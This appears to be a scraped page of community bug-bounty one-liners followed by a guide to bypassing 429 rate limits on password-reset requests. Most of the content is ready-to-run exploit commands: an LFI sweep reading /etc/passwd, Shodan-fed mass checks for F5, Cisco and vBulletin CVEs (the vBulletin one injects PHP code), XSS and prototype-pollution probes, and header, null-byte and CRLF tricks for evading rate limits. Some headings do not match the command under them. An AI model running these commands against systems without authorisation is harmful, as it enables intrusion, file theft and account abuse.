Gohanckz

Happy Hunting !!!! Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with ♥ by the community. Contribute and enhance your bounty hunting arsenal! ## Quick Guide - **HOST:** Refers to a single hostname, domain, or IP address. - **HOSTS.txt:** Contains multiple hosts. - **URL:** Represents a URL, starting with HTTP/HTTPS. - **URLS.txt:** Contains multiple URLs. - **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution. - **OUT.txt:** or **OUT{N}.txt:** Target storage for results. --- ### Local File Inclusion > @dwisiswant0 ```bash gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' ``` ### Open Redirect > @dwisiswant0 ```bash export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"' ``` > @N3T_hunt3r ```bash cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null ``` ### XSS > @cihanmehmet ```bash gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt ``` > @fanimalikhack ```bash waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt ``` > @oliverrickfors ```bash cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")" ``` ### Prototype Pollution > @R0X4R ```bash subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE" ``` ### CVE-2020-5902 > @Madrobot_ ```bash shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done ``` ### CVE-2020-3452 > @vict0ni ```bash while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt ``` ### CVE-2022-0378 > @7h3h4ckv157 ```bash cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done ``` ### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution > @Madrobot_ ```bash shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done; ``` ### Find JavaScript Files > @D0cK3rG33k whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n ### Extract IPs from a File > @emenalf grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt ### Ports Scan without CloudFlare > @dwisiswant0 #BugBounty #bugbountytips Follow 👇👇👇👇👇👇👇👇👇👇

# Bypass 429 (Too Many Requests) 1. Try add some custom header ``` X-Forwarded-For : 127.0.0.1 X-Forwarded-Host : 127.0.0.1 X-Client-IP : 127.0.0.1 X-Remote-IP : 127.0.0.1 X-Remote-Addr : 127.0.0.1 X-Host : 127.0.0.1 ``` For example: ``` POST /ForgotPass.php HTTP/1.1 Host: target.com X-Forwarded-For : 127.0.0.1 ... [email protected] ``` 2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit. ``` POST /ForgotPass.php HTTP/1.1 Host: target.com ... [email protected]%00 ``` 3. Try changing user-agents, cookies and IP address ``` POST /ForgotPass.php HTTP/1.1 Host: target.com Cookie: xxxxxxxxxx ... [email protected] ``` Try this to bypass ``` POST /ForgotPass.php HTTP/1.1 Host: target.com Cookie: aaaaaaaaaaaaa ... [email protected] ``` 4. Add a random parameter on the last endpoint ``` POST /ForgotPass.php HTTP/1.1 Host: target.com ... [email protected] ``` Try this to bypass ``` POST /ForgotPass.php?random HTTP/1.1 Host: target.com ... [email protected] ``` 5. Add space after the parameter value ``` POST /api/forgotpass HTTP/1.1 Host: target.com ... {"email":"[email protected]"} ``` Try this to bypass ``` POST /api/forgotpass HTTP/1.1 Host: target.com ... {"email":"[email protected] "} ``` ## References * [Huzaifa Tahir](huzaifa-tahir.medium.com/met…) * [Gupta Bless](gupta-bless.medium.com/rate-…) #BugBounty #bugbountytip #bugbountytips #bughunters